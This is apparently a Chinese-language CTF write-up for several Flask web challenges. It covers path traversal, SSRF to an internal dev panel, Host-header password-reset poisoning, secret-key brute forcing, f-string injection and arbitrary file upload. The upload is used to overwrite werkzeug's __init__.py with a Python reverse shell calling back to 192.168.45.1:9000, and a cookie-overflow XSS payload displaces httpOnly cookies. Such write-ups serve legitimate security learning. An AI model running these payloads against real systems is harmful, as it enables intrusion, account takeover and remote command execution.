free_chat
注册登录后给了一个聊天室的功能
很自然的去尝试了ssti 设置中的姓名也尝试了 没有
设置中头像的url参数name可控 尝试路径穿越读一下文件
双写能绕 服务端处理的比较抽象
读源码
#!/usr/bin/python3
# -*- coding: utf-8 -*-
# Python Version : 3.11
# Author : Mika - @bWlrYQ
# Created : 2024-02-20
from flask import Flask, render_template, redirect, url_for, send_file
from flask_login import LoginManager, login_required, current_user
from secrets import token_hex
from lib.database import db, User, fill_chats, Locked
from os import system
app = Flask(__name__)
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///users.db'
app.config['SECRET_KEY'] = token_hex(64)
app.config['MAX_CONTENT_LENGTH'] = 16 * 1000 * 1000
db.init_app(app)
login_manager = LoginManager()
login_manager.init_app(app)
with app.app_context():
db.create_all()
if Locked.query.first() is None:
db.session.add(Locked(locked=True))
fill_chats()
@login_manager.user_loader
def load_user(user_id):
return db.session.get(User, int(user_id))
@app.route('/', methods=['GET'])
def index():
if current_user.is_authenticated:
return redirect(url_for('chat'))
else:
return render_template('index.html')
@app.route('/pfp', methods=['GET'])
@login_required
def pfp():
try:
name = request.args.get('name')
except:
return "Invalid request", 400
try:
return send_file(f'pfp/{name.replace("../", "")}')
except:
return f"Couldn't find {name.replace('../', '')}, hecker !", 400
from lib.accounts import *
from lib.chat import *
from lib.settings import *
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, threaded=True)
没啥有用的信息
在设置中还存在ssrf
用@绕一下http://pbs.twimg.com的限制
内网探测一下 发现1337端口存活
<!DOCTYPE html>
<html>
<head>
<title>FreeChat - Dev Panel</title>
<script src="/static/js/hint.js"></script>
</head>
<body>
<div style="text-align: center;">
<h1>FreeChat - Dev Panel</h1>
<h3>Welcome dev, to access the panel, please enter your access token</h3>
<form action="http://devpanel:8000/" action="GET">
<input type="text" name="token" placeholder="Access Token">
<input type="submit" value="Submit">
</form>
<div>
<h5 style="display: inline-block;">Forgot your token ? </h5>
<button onclick="hint()" style="display: inline-block;">Hint</button>
</div>
<div id="hint"></div>
</div>
</body>
</html>
读hint.js
function hint(){
document.getElementById("hint").innerHTML = "<h5>Hint: Don't be stupid admin, if you've lost the <b>token</b> you can still <b>locate</b> it. Just think!</h5>"
}
结合hint.js 说是没有token也能访问devpanel
可以使用locate
这里的locate实际上指的是locate命令 用于查找文件的位置
locate通过读数据库来找到我们所需的文件的位置
mlocate默认查找的是mlocate.db
可以通过-d
指定数据库
结合文件读 我们下载mlocate.db
但是并没有下载到
debian的在/var/cache/locate/locatedb
使用的是GNUlocate
需要GNU locate
读到token后访问devpanel
free_cider
说是暂时关闭注册 根据登录的api构造注册的请求包
没啥用 字典跑出来swagger api
俩新接口 一个通过id查user 一个只需要username就可以重置密码
遍历id 找到admin
然后没思路了 wp说的是 一个常见的出现于密码重置的缺陷 服务器会依赖于Host来生成发送给用户的链接
修改host为vps并监听
拿着token重置密码并登录即可
find_the_compass
先看的route 发现几乎所有功能都需要auth
回头看__init__
cookie的secret是通过generate_key生成的
生成8位数字 复杂度不高 可以尝试用flask-unsign爆
https://github.com/crunchsec/crunch 利用crunch快速生成字典
crunch 8 8 0123456789 -o wordlist.txt
这里伪造出来的不对 不知道什么毛病 直接docker里拿密码登录
admin登录进去跳转到panel
content
内容可控 配合f-string可以直接拿到render对象
直接读coordinates就行
{self.coordinates}
frenzy_flask
给了一个文件上传的功能
过滤路径穿越
但是由于使用了joinpath 可以直接写绝对路径
那么这里可以任意文件上传
flask开启了debug模式 支持热重载
那么我们可以考虑直接去改app.py
直接rce
但是很遗憾没权限
可以考虑去覆盖库
/home/user/.local/lib/python3.12/site-packages/werkzeu
from __future__ import annotations
import typing as t
from .serving import run_simple as run_simple
from .test import Client as Client
from .wrappers import Request as Request
from .wrappers import Response as Response
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.45.1",9000))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
def __getattr__(name: str) -> t.Any:
if name == "__version__":
import importlib.metadata
import warnings
warnings.warn(
"The '__version__' attribute is deprecated and will be removed in"
" Werkzeug 3.1. Use feature detection or"
" 'importlib.metadata.version(\"werkzeug\")' instead.",
DeprecationWarning,
stacklevel=2,
)
return importlib.metadata.version("werkzeug")
raise AttributeError(name)
反弹sehll
TheGeniePwnAdventures
题目实现了一个聊天功能 bot随机回复 存在flag
路由 需要username不是admin但是过admin权限验证
bot是admin权限
和bot交互的点就一个
当我们向admin发送信息时候bot会回应
由于使用了无头浏览器发送请求 很自然可以想到xss
尝试外带cookie 但是发现存在httpOnly
admin的鉴权是基于cookie中的authorization
做的
尝试通过xss替换bot的authentication_cookie
当bot携带着我们定义的authentication_cookie
去回复消息时会向数据库写
从而给这个authentication_cookie
洗成admin相关的 鉴权是直接从数据库读
还是因为httpOnly 不能直接通过js替换 需要溢出
<script>
function overflow() {
for (let i=0; i<700; i++){
document.cookie = `${i}=${i};`;
}
for (let i=0; i<700; i++){
document.cookie = `cookie${i}=${i}; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/;`;
}
};
if (document.cookie.indexOf("user_attacked=") === -1){
overflow();
document.cookie = `authorization=fullyponcedbocklit;expires=Thu, 01 Jan 2025 00:00:01 GMT`;
document.cookie = `user_attacked=yes`;
window.location="/logout";
};
</script>
发送payload后访问falg路由即可
这里FakeFlag是由于没有注入flag导致的 解法没问题